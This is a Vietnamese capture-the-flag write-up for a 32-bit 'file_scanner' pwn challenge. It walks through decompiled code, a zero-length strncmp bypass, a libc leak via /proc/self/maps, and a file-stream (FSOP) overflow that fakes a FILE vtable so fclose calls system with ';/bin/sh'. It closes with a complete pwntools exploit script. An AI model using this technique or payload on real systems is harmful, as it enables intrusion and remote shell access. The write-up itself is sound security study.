int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // [esp-Ch] [ebp-44h]
  int v5; // [esp-Ch] [ebp-44h]
  int v6; // [esp-Ch] [ebp-44h]
  int v7; // [esp-8h] [ebp-40h]
  int v8; // [esp-4h] [ebp-3Ch]
  int v9; // [esp+0h] [ebp-38h] BYREF
  int i; // [esp+4h] [ebp-34h]
  int v11; // [esp+8h] [ebp-30h]
  char v12[16]; // [esp+Ch] [ebp-2Ch] BYREF
  char v13[16]; // [esp+1Ch] [ebp-1Ch] BYREF
  unsigned int v14; // [esp+2Ch] [ebp-Ch]

  v14 = __readgsdword(0x14u);
  init();
  v3 = time(0);
  srand(v3);
  for ( i = 0; i <= 15; ++i )
    v13[i] = generateRandomHexValue();
  memset(v12, 0, sizeof(v12));
  printf("Are you Huster? Show me your ID: ");
  custom_read(v12);
  v11 = strlen(v12, 16);
  if ( !strncmp(v12, v13, v11) )
  {
    puts("Ohh... so you can use the newest tool I just found");
    puts("Please don't break my program T_T\n");
  }
  else
  {
    printf("Do you forgot your ID, so badd !!!");
    exit(1, v4, v7, v8);
  }
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v9);
    if ( v9 == 2 )
    {
      readFile();
      goto LABEL_21;
    }
    if ( v9 > 2 )
    {
      if ( v9 == 3 )
      {
        printFileContent();
        goto LABEL_21;
      }
      if ( v9 == 4 )
      {
        puts("oh... I forgot asking your name");
        printf("What is your name: ");
        __isoc99_scanf("%s", name);
        printf("See you soon, %s !!!\n", name);
        if ( filePtr )
          fclose(filePtr);
        exit(1, v6, v7, v8);
      }
    }
    else if ( v9 == 1 )
    {
      openFile();
      goto LABEL_21;
    }
    puts("Invalid choice");
    exit(1, v5, v7, v8);
LABEL_21:
    putchar(10);
  }
}
  • Cái vụ huster là chương trình random 1 cái strings rồi check xem cái input người dùng có trùng với cái string đấy không qua hàm strncmp
  • Ta thấy cái argument thứ 3 là độ dài của cái string mình pass cho chương trình thì strncmp sẽ kiểm tra với độ dài đó, tóm lại size bằng 0 là sẽ pass

Hàm open

unsigned int openFile()
{
  char v1[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v2; // [esp+6Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if ( filePtr )
  {
    puts("A file is already opened. Please close it before opening a new file.");
  }
  else
  {
    printf("Enter the filename: ");
    __isoc99_scanf("%99s", v1);
    if ( strstr(v1, "flag") )
    {
      puts("Ha, what are you trying to do ?!");
    }
    else
    {
      filePtr = fopen(v1, "r");
      if ( filePtr )
        puts("Ok, this file is yours");
      else
        puts("Failed to open the file.");
    }
  }
  return __readgsdword(0x14u) ^ v2;
}
  • Nó yêu cầu nhập 1 cái file name(không có “flag”) rồi mở file. Sử dụng fopen sẽ trả về 1 IO_FILE_plus struct được lưu vào filePtr

Hàm read

int readFile()
{
  memset(&fileContent, 0, 1000);
  if ( !filePtr )
    return puts("No file is currently opened.");
  if ( fgets(&fileContent, 1000, filePtr) )
    return puts("Read successful");
  return puts("Failed to read the file.");
}
  • Nó đọc 1000 bytes hoặc đến \n và lưu data vào fileContent

Hàm print

int printFileContent()
{
  int v1; // [esp-Ch] [ebp-14h]
  int v2; // [esp-8h] [ebp-10h]
  int v3; // [esp-4h] [ebp-Ch]

  if ( strchr(&fileContent, 125) )
  {
    puts("Nothing for you!!! Bye~");
    exit(1, v1, v2, v3);
  }
  return puts(&fileContent);
}
  • Nó kiểm tra trên fileContent mà không có } thì in ra
  • Cuối cùng là khi mình chọn 4 để exit thì trước đó chương trình sẽ yêu cầu nhập tên mà cái con trỏ name này lại ở trước filePtr

  • Ở đây ta có thể overflow filePtr để khi đưa vào fclose thì hàm này sẽ làm gì đó đó
  • Chương trình không bật PIE và là 32 bits nên việc ghi không bị khó khăn bởi NULL byte

LEAK LIBC

  • Để leak libc thì mình đọc file /proc/self/maps

Ví dụ về file đó ở /usr/bin/cat

  • Cái hàm read chỉ đọc 1 dòng 1 lần như vậy để in dòng n thì mình read n lần rồi mới print

  • Hàm để tìm libc

while(1):
    for j in range(i):
        read_file()
    write_file()
    leak = p.recvuntil(b'---------------MENU---------------')
    if(b'libc_32' in leak):
        break
    i += 1
  • Rồi giờ thì đã có libc

FSOP

Hàm fclose

int _IO_new_fclose (_IO_FILE *fp)
{
  int status;

  CHECK_FILE(fp, EOF);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
  /* We desperately try to help programs which are using streams in a
     strange way and mix old and new functions.  Detect old streams
     here.  */
  if (_IO_vtable_offset (fp) != 0)
    return _IO_old_fclose (fp);
#endif

  /* First unlink the stream.  */
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

  _IO_acquire_lock (fp);
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp);
  if (fp->_mode > 0)
    {
#if _LIBC
      /* This stream has a wide orientation.  This means we have to free
	 the conversion functions.  */
      struct _IO_codecvt *cc = fp->_codecvt;

      __libc_lock_lock (__gconv_lock);
      __gconv_release_step (cc->__cd_in.__cd.__steps);
      __gconv_release_step (cc->__cd_out.__cd.__steps);
      __libc_lock_unlock (__gconv_lock);
#endif
    }
  else
    {
      if (_IO_have_backup (fp))
	_IO_free_backup_area (fp);
    }
  if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
    {
      fp->_IO_file_flags = 0;
      free(fp);
    }

  return status;
}
  • CHECKFILE kiểm tra giá trị magic trên flags của _IO_FILE struct. Đại loại là 4 bytes cuối sẽ là 0xfbad
  • Ta có cái file struct
struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};
struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};
  • Ở chỗ này trong fclose
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);
#define _IO_IS_FILEBUF 0x2000
  • Mình ko set cái bit đấy để nó không chạy vào _IO_un_link
  • Cả cái này nữa
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);
  • Rồi nó sẽ chạy _IO_FINISH(fp)
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
  • Mình fake cái filePtr về name thì name sẽ là fp, thì ở đây mình set cái vtable về name + 0x10 thì chương trình sẽ gọi (name + 0x10 + 0x4*3)()
  • Mình để cái giá trị đấy là system
  • Chương trình gọi _IO_FINISH với argument là file struct nên khi nhập tên sau cái flags mình để ;/bin/sh... thì sẽ có được shell

Script

from pwn import *

slnaf = lambda delim, data: p.sendlineafter(delim, data)

elf = context.binary = ELF('file_scanner')
libc = ELF('libc_32.so.6')

def open_file(name):
    slnaf(b'Your choice :', b'1')
    slnaf(b'Enter the filename: ', name)
def read_file():
    slnaf(b'Your choice :', b'2')
def write_file():
    slnaf(b'Your choice :', b'3')



#p = remote('18.141.143.171', 30914)
p = process()
gdb.attach(p, gdbscript='''
           break fclose
           break *0x8048cc9
           break exit
           c
#                            ''')


NAME = 0x804b0a0
p.sendlineafter(b're you Huster? Show me your ID:', b'')
open_file(b'/proc/self/maps')
i = 1
while(1):
    for j in range(i):
        read_file()
    write_file()
    leak = p.recvuntil(b'---------------MENU---------------')
    if(b'libc' in leak):
        break
    i += 1
leak = leak[:8]
leak = int(leak.decode(), 16)
print('leak: {}'.format(hex(leak)))
libc.address = leak
print('system: {}'.format(hex(libc.symbols['system'])))
payload = p32(0xfbad0101)
payload += b';/bin/sh;'.ljust(20, b'A')
payload += p32(libc.symbols['system'])
payload += b'A'*4
payload += p32(NAME)
payload += p32(NAME - 0x10)*0xa
payload += p32(NAME + 0x10)
payload += p32(NAME - 0x10)*0x10
slnaf(b'Your choice :', b'4')
slnaf(b'What is your name: ', payload)
p.interactive()

RE

Checker

Author: PhucRio

Source code here.

https://hackmd.io/LShuh2sWTf6GQfcB_xn-xQ

Comments